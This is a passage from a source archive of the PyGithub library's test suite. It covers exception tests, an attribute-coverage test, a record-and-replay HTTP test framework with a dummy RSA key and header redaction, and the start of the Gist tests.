"https://api.github.com/repos/jacquev6/PyGithub/commits/12747613c5ec00deccf296b8619ad507f7050475", "sha": "12747613c5ec00deccf296b8619ad507f7050475", "message": "Test Issue.getComments", "distinct": True, "author": { "name": "Vincent Jacques", "email": "vincent@vincent-jacques.net", }, }, { "url": "https://api.github.com/repos/jacquev6/PyGithub/commits/2982fa96c5ca75abe717d974d83f9135d664232e", "sha": "2982fa96c5ca75abe717d974d83f9135d664232e", "message": "Test the new Repository.full_name attribute", "distinct": True, "author": { "name": "Vincent Jacques", "email": "vincent@vincent-jacques.net", }, }, { "url": "https://api.github.com/repos/jacquev6/PyGithub/commits/619eae8d51c5988f0d2889fc767fa677438ba95d", "sha": "619eae8d51c5988f0d2889fc767fa677438ba95d", "message": "Improve coverage of AuthenticatedUser", "distinct": True, "author": { "name": "Vincent Jacques", "email": "vincent@vincent-jacques.net", }, }, ], "head": "619eae8d51c5988f0d2889fc767fa677438ba95d", "push_id": 80673538, "ref": "refs/heads/topic/RewriteWithGeneratedCode", "size": 11, }, ) self.assertTrue(self.event.public) self.assertEqual(self.event.repo.name, "jacquev6/PyGithub") self.assertEqual(self.event.type, "PushEvent") self.assertEqual(repr(self.event), 'Event(type="PushEvent", id="1556114751")') ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/Exceptions.py0000644000175100001660000002101114756101563016616 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Peter Buckley # # Copyright 2016 humbug # # Copyright 2017 Hugo # # Copyright 2017 Simon # # Copyright 2018 Steve Kowalik # # Copyright 2018 Tuuu Nya # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2021 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2024 Enrico Minack # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ import pickle from unittest import mock import github from . import Framework class Exceptions(Framework.TestCase): def testInvalidInput(self): with self.assertRaises(github.GithubException) as raisedexp: self.g.get_user().create_key("Bad key", "xxx") self.assertIsInstance(raisedexp.exception, github.GithubException) self.assertEqual(raisedexp.exception.message, "Validation Failed") self.assertEqual(raisedexp.exception.status, 422) self.assertEqual( raisedexp.exception.data, { "errors": [ { "code": "custom", "field": "key", "message": "key is invalid. It must begin with 'ssh-rsa' or 'ssh-dss'. Check that you're copying the public half of the key", "resource": "PublicKey", } ], "message": "Validation Failed", }, ) def testNonJsonDataReturnedByGithub(self): # Replay data was forged according to https://github.com/jacquev6/PyGithub/pull/182 with self.assertRaises(github.GithubException) as raisedexp: # 503 would be retried, disable retries self.get_github(retry=None, pool_size=self.pool_size).get_user("jacquev6") self.assertIsInstance(raisedexp.exception, github.GithubException) self.assertIsNone(raisedexp.exception.message) self.assertEqual(raisedexp.exception.status, 503) self.assertEqual( raisedexp.exception.data, { "data": "

503 Service Unavailable

No server is available to handle this request.", }, ) def testUnknownObject(self): with self.assertRaises(github.GithubException) as raisedexp: self.g.get_user().get_repo("Xxx") self.assertIsInstance(raisedexp.exception, github.UnknownObjectException) self.assertIsNone(raisedexp.exception.message) self.assertEqual(raisedexp.exception.status, 404) self.assertEqual(raisedexp.exception.data, {"message": "Not Found"}) self.assertEqual(str(raisedexp.exception), '404 {"message": "Not Found"}') def testUnknownUser(self): with self.assertRaises(github.GithubException) as raisedexp: self.g.get_user("ThisUserShouldReallyNotExist") self.assertIsInstance(raisedexp.exception, github.UnknownObjectException) self.assertIsNone(raisedexp.exception.message) self.assertEqual(raisedexp.exception.status, 404) self.assertEqual(raisedexp.exception.data, {"message": "Not Found"}) self.assertEqual(str(raisedexp.exception), '404 {"message": "Not Found"}') def testBadAuthentication(self): with self.assertRaises(github.GithubException) as raisedexp: github.Github(auth=github.Auth.Login("BadUser", "BadPassword")).get_user().login self.assertIsInstance(raisedexp.exception, github.BadCredentialsException) self.assertIsNone(raisedexp.exception.message) self.assertEqual(raisedexp.exception.status, 401) self.assertEqual(raisedexp.exception.data, {"message": "Bad credentials"}) self.assertEqual(str(raisedexp.exception), '401 {"message": "Bad credentials"}') def testExceptionPickling(self): pickle.loads(pickle.dumps(github.GithubException("foo", "bar", None))) def testJSONParseError(self): # Replay data was forged to force a JSON error with self.assertRaises(ValueError): self.g.get_user("jacquev6") class SpecificExceptions(Framework.TestCase): def testBadCredentials(self): self.assertRaises( github.BadCredentialsException, lambda: github.Github(auth=github.Auth.Login("BadUser", "BadPassword")).get_user().login, ) def test2FARequired(self): self.assertRaises( github.TwoFactorException, lambda: github.Github(auth=github.Auth.Login("2fauser", "password")).get_user().login, ) def testUnknownObject(self): self.assertRaises(github.UnknownObjectException, lambda: self.g.get_user().get_repo("Xxx")) def testBadUserAgent(self): self.assertRaises( github.BadUserAgentException, lambda: github.Github(auth=self.login, user_agent="").get_user().name, ) def testRateLimitExceeded(self): # rate limit errors would be retried if retry is not set None g = github.Github(retry=None) def exceed(): for i in range(100): g.get_user("jacquev6") self.assertRaises(github.RateLimitExceededException, exceed) def testAuthenticatedRateLimitExceeded(self): def exceed(): for i in range(100): res = self.g.search_code("jacquev6") res.get_page(0) with self.assertRaises(github.RateLimitExceededException) as raised: exceed() self.assertEqual(raised.exception.headers.get("retry-after"), "60") def testIncompletableObject(self): github.UserKey.UserKey.setCheckAfterInitFlag(False) obj = github.UserKey.UserKey(mock.MagicMock(), {}, {}, False) self.assertRaises(github.IncompletableObject, obj._completeIfNeeded) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ExposeAllAttributes.py0000644000175100001660000001771714756101563020462 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2024 Enrico Minack # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ import github.GithubObject from . import Framework class ExposeAllAttributes(Framework.TestCase): def testAllClasses(self): authenticatedUser = self.g.get_user() namedUser = self.g.get_user("nvie") repository = authenticatedUser.get_repo("PyGithub") organization = self.g.get_organization("BeaverSoftware") plan = authenticatedUser.plan branch = repository.get_branch("master") commit = repository.get_commit("1292bf0e22c796e91cc3d6e24b544aece8c21f2a") commitStats = commit.stats commitStatus = commit.get_statuses()[0] milestone = repository.get_milestone(17) gist = self.g.get_gist("149016") gistComment = gist.get_comment(4565) gistFile = gist.files[".gitignore"] gistHistoryState = gist.history[0] gitCommit = repository.get_git_commit("be37b8a7f3a68631c32672dcd84d9eba27438ee6") gitAuthor = gitCommit.author gitTree = repository.get_git_tree("6f7c2d8c66d78863f7b91792deaead619799a1ce") gitTreeElement = gitTree.tree[0] gitBlob = repository.get_git_blob("681fb61f1761743a02f5c790f1c762cbfe8cfad1") gitRef = repository.get_git_ref("tags/v1.17.0") gitObject = gitRef.object issue = repository.get_issue(188) issueComment = issue.get_comment(22686536) issueEvent = issue.get_events()[0] issuePullRequest = issue.pull_request gitignoreTemplate = self.g.get_gitignore_template("Python") team = organization.get_team(141487) label = repository.get_label("Bug") pullRequest = repository.get_pull(31) pullRequestComment = pullRequest.get_review_comment(1580134) pullRequestPart = pullRequest.base file = pullRequest.get_files()[0] commitComment = repository.get_comment(3630301) rateLimit = self.g.get_rate_limit() hook = repository.get_hooks()[0] hookResponse = hook.last_response hookDescription = self.g.get_hooks()[0] comparison = repository.compare("master", "develop") contentFile = repository.get_contents("README.rst") permissions = repository.permissions event = repository.get_events()[0] notification = authenticatedUser.get_notification("8406712") notificationSubject = notification.subject missingAttributes = self.gatherMissingAttributes( [ authenticatedUser, # authorization, # Security issue if put as-is in ReplayData # authorizationApplication, # Security issue if put as-is in ReplayData branch, commit, commitComment, commitStats, commitStatus, comparison, contentFile, # download, # Deprecated: https://github.com/blog/1302-goodbye-uploads event, file, gist, gistComment, gistFile, gistHistoryState, gitAuthor, gitBlob, gitCommit, gitignoreTemplate, gitObject, gitRef, # gitTag, gitTree, gitTreeElement, hook, hookDescription, hookResponse, issue, issueComment, issueEvent, issuePullRequest, label, milestone, namedUser, notification, notificationSubject, organization, permissions, plan, pullRequest, pullRequestComment, # pullRequestMergeStatus, # Only obtained when merging a pull request through the API pullRequestPart, rateLimit, repository, # repositoryKey, # Security issue if put as-is in ReplayData # tag, team, # userKey, # Security issue if put as-is in ReplayData ] ) for className, attributesMissingInClass in sorted(missingAttributes.items()): for attrName, value in sorted(attributesMissingInClass.items()): print(className, attrName, "->", repr(value)) self.assertEqual(sum(len(attrs) for attrs in missingAttributes.values()), 0) def findMissingAttributes(self, obj): if isinstance(obj, github.GithubObject.CompletableGithubObject): obj.update() className = obj.__class__.__name__ missingAttributes = {} for attribute in obj.raw_data: if attribute != "_links": if not hasattr(obj, attribute): missingAttributes[attribute] = obj.raw_data[attribute] return (className, missingAttributes) def gatherMissingAttributes(self, objs): allMissingAttributes = dict() for obj in objs: className, attributesMissingInClass = self.findMissingAttributes(obj) if len(attributesMissingInClass) > 0: if className not in allMissingAttributes: allMissingAttributes[className] = dict() allMissingAttributes[className].update(attributesMissingInClass) return allMissingAttributes ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/Framework.py0000644000175100001660000005246314756101563016451 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2015 Uriel Corfa # # Copyright 2016 Peter Buckley # # Copyright 2017 Chris McBride # # Copyright 2017 Hugo # # Copyright 2017 Simon # # Copyright 2018 Arda Kuyumcu # # Copyright 2018 Jacopo Notarstefano # # Copyright 2018 Laurent Mazuel # # Copyright 2018 Mike Miller # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Adam Baratz # # Copyright 2019 Filipe Laíns # # Copyright 2019 Isac Souza # # Copyright 2019 Steve Kowalik # # Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># # Copyright 2019 Wan Liuyang # # Copyright 2020 Alice GIRARD # # Copyright 2020 Michał Górny # # Copyright 2020 Steve Kowalik # # Copyright 2021 Amador Pahim # # Copyright 2021 Steve Kowalik # # Copyright 2023 Denis Blanchette # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 Jonathan Leitschuh # # Copyright 2023 Trim21 # # Copyright 2023 chantra # # Copyright 2025 Enrico Minack # # Copyright 2025 Maja Massarini <2678400+majamassarini@users.noreply.github.com># # Copyright 2025 Neel Malik <41765022+neel-m@users.noreply.github.com> # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ import base64 import contextlib import io import json import os import traceback import unittest import warnings from io import BytesIO from typing import Optional import responses from requests.structures import CaseInsensitiveDict from urllib3.util import Url import github from github import Consts APP_PRIVATE_KEY = """ -----BEGIN RSA PRIVATE KEY----- MIICXAIBAAKBgQC+5ePolLv6VcWLp2f17g6r6vHl+eoLuodOOfUl8JK+MVmvXbPa xDy0SS0pQhwTOMtB0VdSt++elklDCadeokhEoGDQp411o+kiOhzLxfakp/kewf4U HJnu4M/A2nHmxXVe2lzYnZvZHX5BM4SJo5PGdr0Ue2JtSXoAtYr6qE9maQIDAQAB AoGAFhOJ7sy8jG+837Clcihso+8QuHLVYTPaD+7d7dxLbBlS8NfaQ9Nr3cGUqm/N xV9NCjiGa7d/y4w/vrPwGh6UUsA+CvndwDgBd0S3WgIdWvAvHM8wKgNh/GBLLzhT Bg9BouRUzcT1MjAnkGkWqqCAgN7WrCSUMLt57TNleNWfX90CQQDjvVKTT3pOiavD 3YcLxwkyeGd0VMvKiS4nV0XXJ97cGXs2GpOGXldstDTnF5AnB6PbukdFLHpsx4sW Hft3LRWnAkEA1pY15ke08wX6DZVXy7zuQ2izTrWSGySn7B41pn55dlKpttjHeutA 3BEQKTFvMhBCphr8qST7Wf1SR9FgO0tFbwJAEhHji2yy96hUyKW7IWQZhrem/cP8 p4Va9CQolnnDZRNgg1p4eiDiLu3dhLiJ547joXuWTBbLX/Y1Qvv+B+a74QJBAMCW O3WbMZlS6eK6//rIa4ZwN00SxDg8I8FUM45jwBsjgVGrKQz2ilV3sutlhIiH82kk m1Iq8LMJGYl/LkDJA10CQBV1C+Xu3ukknr7C4A/4lDCa6Xb27cr1HanY7i89A+Ab eatdM6f/XVqWp8uPT9RggUV9TjppJobYGT2WrWJMkYw= -----END RSA PRIVATE KEY----- """ def readLine(file_): line = file_.readline() if isinstance(line, bytes): line = line.decode("utf-8") return line.strip() class FakeHttpResponse: def __init__(self, status, headers, output): self.status = status self.__headers = headers self.__output = output def getheaders(self): return self.__headers def read(self): return self.__output def iter_content(self, chunk_size=1): return iter([self.__output[i : i + chunk_size] for i in range(0, len(self.__output), chunk_size)]) def raise_for_status(self): pass def fixAuthorizationHeader(headers): if "Authorization" in headers: if headers["Authorization"].endswith("ZmFrZV9sb2dpbjpmYWtlX3Bhc3N3b3Jk"): # This special case is here to test the real Authorization header # sent by PyGithub. It would have avoided issue https://github.com/jacquev6/PyGithub/issues/153 # because we would have seen that Python 3 was not generating the same # header as Python 2 pass elif headers["Authorization"].startswith("token "): headers["Authorization"] = "token private_token_removed" elif headers["Authorization"].startswith("Basic "): headers["Authorization"] = "Basic login_and_password_removed" elif headers["Authorization"].startswith("Bearer "): headers["Authorization"] = "Bearer jwt_removed" class RecordingConnection: __openFile = None @staticmethod def setOpenFile(func): RecordingConnection.__openFile = func def __init__(self, protocol, host, port, *args, **kwds): self.__file = self.__openFile("w") # write operations make the assumption that the file is not in binary mode assert isinstance(self.__file, io.TextIOBase) self.__protocol = protocol self.__host = host self.__port = port self.__cnx = self._realConnection(host, port, *args, **kwds) self.__stream = False @property def host(self): return self.__host def request(self, verb, url, input, headers, stream=False): self.__cnx.request(verb, url, input, headers) self.__stream = stream # fixAuthorizationHeader changes the parameter directly to remove Authorization token. # however, this is the real dictionary that *will be sent* by "requests", # since we are writing here *before* doing the actual request. # So we must avoid changing the real "headers" or this create this: # https://github.com/PyGithub/PyGithub/pull/664#issuecomment-389964369 # https://github.com/PyGithub/PyGithub/issues/822 # Since it's dict[str, str], a simple copy is enough. anonymous_headers = headers.copy() fixAuthorizationHeader(anonymous_headers) self.__writeLine(self.__protocol) self.__writeLine(verb) self.__writeLine(self.__host) self.__writeLine(self.__port) self.__writeLine(url) self.__writeLine(anonymous_headers) self.__writeLine(str(input).replace("\n", "").replace("\r", "")) def getresponse(self): res = self.__cnx.getresponse() status = res.status headers = res.getheaders() output = res if self.__stream else res.read() self.__writeLine(status) self.__writeLine(list(headers)) if self.__stream: chunks = [chunk for chunk in output.iter_content(chunk_size=64)] output = b"".join(chunks) for chunk in chunks: self.__writeLine(base64.b64encode(chunk).decode("ascii")) self.__writeLine("") else: self.__writeLine(output) self.__writeLine("") return FakeHttpResponse(status, headers, output) def close(self): return self.__cnx.close() def __writeLine(self, line): self.__file.write(str(line) + "\n") class RecordingHttpConnection(RecordingConnection): _realConnection = github.Requester.HTTPRequestsConnectionClass def __init__(self, *args, **kwds): super().__init__("http", *args, **kwds) class RecordingHttpsConnection(RecordingConnection): _realConnection = github.Requester.HTTPSRequestsConnectionClass def __init__(self, *args, **kwds): super().__init__("https", *args, **kwds) class ReplayingConnection: __openFile = None @staticmethod def setOpenFile(func): ReplayingConnection.__openFile = func def __init__(self, protocol, host, port, *args, **kwds): self.__file = self.__openFile("r") self.__protocol = protocol self.__host = host self.__port = port self.__stream = False self.response_headers = CaseInsensitiveDict() self.__cnx = self._realConnection(host, port, *args, **kwds) @property def host(self): return self.__host def request( self, verb, url, input, headers, stream: bool = False, ): port = self.__port if self.__port else 443 if self.__protocol == "https" else 80 full_url = Url(scheme=self.__protocol, host=self.__host, port=port, path=url) response_headers = self.response_headers.copy() responses.add_callback( method=verb, url=full_url.url, callback=lambda request: self.__request_callback(verb, full_url.url, response_headers), ) self.__stream = stream self.__cnx.request(verb, url, input, headers, stream=stream) def __readNextRequest(self, verb, url, input, headers): fixAuthorizationHeader(headers) assert self.__protocol == readLine(self.__file) assert verb == readLine(self.__file) assert self.__host == readLine(self.__file) assert str(self.__port) == readLine(self.__file) assert self.__splitUrl(url) == self.__splitUrl(readLine(self.__file)) assert headers == eval(readLine(self.__file)) expectedInput = readLine(self.__file) if isinstance(input, str): trInput = input.replace("\n", "").replace("\r", "") if input.startswith("{"): assert expectedInput.startswith("{"), expectedInput assert json.loads(trInput) == json.loads(expectedInput) else: assert trInput == expectedInput else: # for non-string input (e.g. upload asset), let it pass. pass def __splitUrl(self, url): splitedUrl = url.split("?") if len(splitedUrl) == 1: return splitedUrl assert len(splitedUrl) == 2 base, qs = splitedUrl return (base, sorted(qs.split("&"))) def __request_callback(self, request, uri, response_headers): self.__readNextRequest(self.__cnx.verb, self.__cnx.url, self.__cnx.input, self.__cnx.headers) status = int(readLine(self.__file)) self.response_headers = CaseInsensitiveDict(eval(readLine(self.__file))) if self.__stream: output = BytesIO() while True: line = readLine(self.__file) if not line: break output.write(base64.b64decode(line)) output = output.getvalue() else: output = bytearray(readLine(self.__file), "utf-8") readLine(self.__file) # make a copy of the headers and remove the ones that interfere with the response handling adding_headers = CaseInsensitiveDict(self.response_headers) adding_headers.pop("content-length", None) adding_headers.pop("transfer-encoding", None) adding_headers.pop("content-encoding", None) response_headers.update(adding_headers) return [status, response_headers, output] def getresponse(self): response = self.__cnx.getresponse() # restore original headers to the response response.headers = self.response_headers return response def close(self): self.__cnx.close() class ReplayingHttpConnection(ReplayingConnection): _realConnection = github.Requester.HTTPRequestsConnectionClass def __init__(self, *args, **kwds): super().__init__("http", *args, **kwds) class ReplayingHttpsConnection(ReplayingConnection): _realConnection = github.Requester.HTTPSRequestsConnectionClass def __init__(self, *args, **kwds): super().__init__("https", *args, **kwds) class BasicTestCase(unittest.TestCase): recordMode = False tokenAuthMode = False jwtAuthMode = False per_page = Consts.DEFAULT_PER_PAGE retry = None pool_size = None seconds_between_requests: Optional[float] = None seconds_between_writes: Optional[float] = None replayDataFolder = os.path.join(os.path.dirname(__file__), "ReplayData") def setUp(self): super().setUp() self.__fileName = "" self.__file = None if ( self.recordMode ): # pragma no cover (Branch useful only when recording new tests, not used during automated tests) RecordingConnection.setOpenFile(self.__openFile) github.Requester.Requester.injectConnectionClasses( RecordingHttpConnection, RecordingHttpsConnection, ) import GithubCredentials # type: ignore self.login = ( github.Auth.Login(GithubCredentials.login, GithubCredentials.password) if GithubCredentials.login and GithubCredentials.password else None ) self.oauth_token = ( github.Auth.Token(GithubCredentials.oauth_token) if GithubCredentials.oauth_token else None ) self.jwt = github.Auth.AppAuthToken(GithubCredentials.jwt) if GithubCredentials.jwt else None self.app_auth = ( github.Auth.AppAuth(GithubCredentials.app_id, GithubCredentials.app_private_key) if GithubCredentials.app_id and GithubCredentials.app_private_key else None ) else: ReplayingConnection.setOpenFile(self.__openFile) github.Requester.Requester.injectConnectionClasses( ReplayingHttpConnection, ReplayingHttpsConnection, ) self.login = github.Auth.Login("login", "password") self.oauth_token = github.Auth.Token("oauth_token") self.jwt = github.Auth.AppAuthToken("jwt") self.app_auth = github.Auth.AppAuth(123456, APP_PRIVATE_KEY) responses.start() @property def thisTestFailed(self) -> bool: if hasattr(self._outcome, "errors"): # type: ignore # Python 3.4 - 3.10 result = self.defaultTestResult() self._feedErrorsToResult(result, self._outcome.errors) # type: ignore ok = all(test != self for test, text in result.errors + result.failures) return not ok else: # Python 3.11+ return self._outcome.result._excinfo is not None and self._outcome.result._excinfo # type: ignore def tearDown(self): super().tearDown() responses.stop() responses.reset() self.__closeReplayFileIfNeeded(silent=self.thisTestFailed) github.Requester.Requester.resetConnectionClasses() def assertWarning(self, warning, expected): self.assertWarnings(warning, expected) def assertWarnings(self, warning, *expecteds): actual = [(type(message), type(message.message), message.message.args) for message in warning.warnings] expected = [(warnings.WarningMessage, DeprecationWarning, (expected,)) for expected in expecteds] self.assertSequenceEqual(actual, expected) @contextlib.contextmanager def ignoreWarning(self, category=Warning, module=""): with warnings.catch_warnings(): warnings.filterwarnings("ignore", category=category, module=module) yield def __openFile(self, mode): for _, _, functionName, _ in traceback.extract_stack(): if functionName.startswith("test") or functionName == "setUp" or functionName == "tearDown": if functionName != "test": # because in class Hook(Framework.TestCase), method testTest calls Hook.test fileName = os.path.join( self.replayDataFolder, f"{self.__class__.__name__}.{functionName}.txt", ) if fileName != self.__fileName: self.__closeReplayFileIfNeeded() self.__fileName = fileName self.__file = open(self.__fileName, mode, encoding="utf-8") return self.__file def __closeReplayFileIfNeeded(self, silent=False): if self.__file is not None: if ( not self.recordMode and not silent ): # pragma no branch (Branch useful only when recording new tests, not used during automated tests) self.assertEqual(readLine(self.__file), "", self.__fileName) self.__file.close() def assertListKeyEqual(self, elements, key, expectedKeys): realKeys = [key(element) for element in elements] self.assertEqual(realKeys, expectedKeys) def assertListKeyBegin(self, elements, key, expectedKeys): realKeys = [key(element) for element in elements[: len(expectedKeys)]] self.assertEqual(realKeys, expectedKeys) class TestCase(BasicTestCase): def doCheckFrame(self, obj, frame): if obj._headers == {} and frame is None: return if obj._headers is None and frame == {}: return self.assertEqual(obj._headers, frame[2]) def getFrameChecker(self): return lambda requester, obj, frame: self.doCheckFrame(obj, frame) def setUp(self): super().setUp() # Set up frame debugging github.GithubObject.GithubObject.setCheckAfterInitFlag(True) github.Requester.Requester.setDebugFlag(True) github.Requester.Requester.setOnCheckMe(self.getFrameChecker()) self.g = self.get_github(self.retry, self.pool_size) def get_github(self, retry, pool_size): if self.tokenAuthMode: return github.Github( auth=self.oauth_token, per_page=self.per_page, retry=retry, pool_size=pool_size, seconds_between_requests=self.seconds_between_requests, seconds_between_writes=self.seconds_between_writes, ) elif self.jwtAuthMode: return github.Github( auth=self.jwt, per_page=self.per_page, retry=retry, pool_size=pool_size, seconds_between_requests=self.seconds_between_requests, seconds_between_writes=self.seconds_between_writes, ) else: return github.Github( auth=self.login, per_page=self.per_page, retry=retry, pool_size=pool_size, seconds_between_requests=self.seconds_between_requests, seconds_between_writes=self.seconds_between_writes, ) def activateRecordMode(): # pragma no cover (Function useful only when recording new tests, not used during automated tests) BasicTestCase.recordMode = True def activateTokenAuthMode(): # pragma no cover (Function useful only when recording new tests, not used during automated tests) BasicTestCase.tokenAuthMode = True def activateJWTAuthMode(): # pragma no cover (Function useful only when recording new tests, not used during automated tests) BasicTestCase.jwtAuthMode = True def enableRetry(retry): BasicTestCase.retry = retry def setPoolSize(pool_size): BasicTestCase.pool_size = pool_size ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/Gist.py0000644000175100001660000002073614756101563015420 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2018 sfdye # # Copyright 2019 Jon Dufresne # # Copyright 2019 Steve Kowalik # # Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from datetime import datetime, timezone import github from . import Framework class Gist(Framework.TestCase): def testAttributes(self): gist = self.g.get_gist("6296732") self.assertEqual(gist.comments, 0) self.assertEqual(gist.comments_url, "https://api.github.com/gists/6296732/comments") self.assertEqual(gist.commits_url, "https://api.github.com/gists/6296732/commits") self.assertEqual( gist.created_at, datetime(2013, 8, 21, 16, 28, 24, tzinfo=timezone.utc), ) self.assertEqual(gist.description, "Github API") self.assertEqual(list(gist.files.keys()), ["GithubAPI.lua"]) self.assertEqual(gist.files["GithubAPI.lua"].size, 21229) self.assertEqual(gist.files["GithubAPI.lua"].filename, "GithubAPI.lua") self.assertEqual(gist.files["GithubAPI.lua"].language, "Lua") self.assertEqual(gist.files["GithubAPI.lua"].content[:10], "-- GithubA") self.assertEqual( gist.files["GithubAPI.lua"].raw_url, "https://gist.githubusercontent.com/jacquev6/6296732/raw/88aafa25fb28e17013054a117354a37f0d78963c/GithubAPI.lua", ) self.assertEqual(gist.fork_of.id, "6296553") self.assertEqual(gist.forks, []) self.assertEqual(gist.forks_url, "https://api.github.com/gists/6296732/forks") self.assertEqual(gist.git_pull_url, "https://gist.github.com/6296732.git") self.assertEqual(gist.git_push_url, "https://gist.github.com/6296732.git") self.assertEqual(len(gist.history), 1) self.assertEqual(gist.history[0].change_status.additions, 793) self.assertEqual(gist.history[0].change_status.deletions, 0) self.assertEqual(gist.history[0].change_status.total, 793) self.assertEqual( gist.history[0].committed_at, datetime(2013, 8, 21, 16, 12, 27, tzinfo=timezone.utc), ) self.assertEqual( gist.history[0].url, "https://api.github.com/gists/6296732/c464aecd7fea16684e935607eeea7ae4f8caa0e2", ) self.assertEqual(gist.history[0].user, None) self.assertEqual(gist.history[0].owner.login, "jacquev6") self.assertEqual(gist.history[0].version, "c464aecd7fea16684e935607eeea7ae4f8caa0e2") self.assertEqual(gist.html_url, "https://gist.github.com/6296732") self.assertEqual(gist.id, "6296732") self.assertIsNone(gist.node_id) self.assertEqual(gist.owner.login, "jacquev6") self.assertTrue(gist.public) self.assertIsNone(gist.truncated) self.assertEqual( gist.updated_at, datetime(2013, 8, 21, 16, 28, 24, tzinfo=timezone.utc), ) self.assertEqual(gist.url, "https://api.github.com/gists/6296732") self.assertEqual(gist.user, None) self.assertEqual(gist.owner.login, "jacquev6") self.assertEqual(gist.git_pull_url, "https://gist.github.com/6296732.git") self.assertEqual(gist.git_push_url, "https://gist.github.com/6296732.git") self.assertEqual(gist.html_url, "https://gist.github.com/6296732") self.assertEqual(gist.url, "https://api.github.com/gists/6296732") self.assertEqual(repr(gist), 'Gist(id="6296732")') self.assertEqual(repr(gist.files["GithubAPI.lua"]), 'GistFile(filename="GithubAPI.lua")') def testEditWithoutParameters(self): gist = self.g.get_gist("2729810") gist.edit() self.assertEqual(gist.description, "Gist created by PyGithub") self.assertEqual( gist.updated_at, datetime(2012, 5, 19, 7, 0, 58, tzinfo=timezone.utc), ) def testEditWithAllParameters(self): gist = self.g.get_gist("2729810") gist.edit( "Description edited by PyGithub", {"barbaz.txt": github.InputFileContent("File also created by PyGithub")}, ) self.assertEqual(gist.description, "Description edited by PyGithub") self.assertEqual( gist.updated_at, datetime(2012, 5, 19, 7, 6, 10, tzinfo=timezone.utc), ) self.assertEqual(set(gist.files.keys()), {"foobar.txt", "barbaz.txt"}) def testDeleteFile(self): gist = self.g.get_gist("5339374") self.assertEqual(sorted(gist.files.keys()), ["bar.txt", "foo.txt"]) gist.edit(files={"foo.txt": None}) 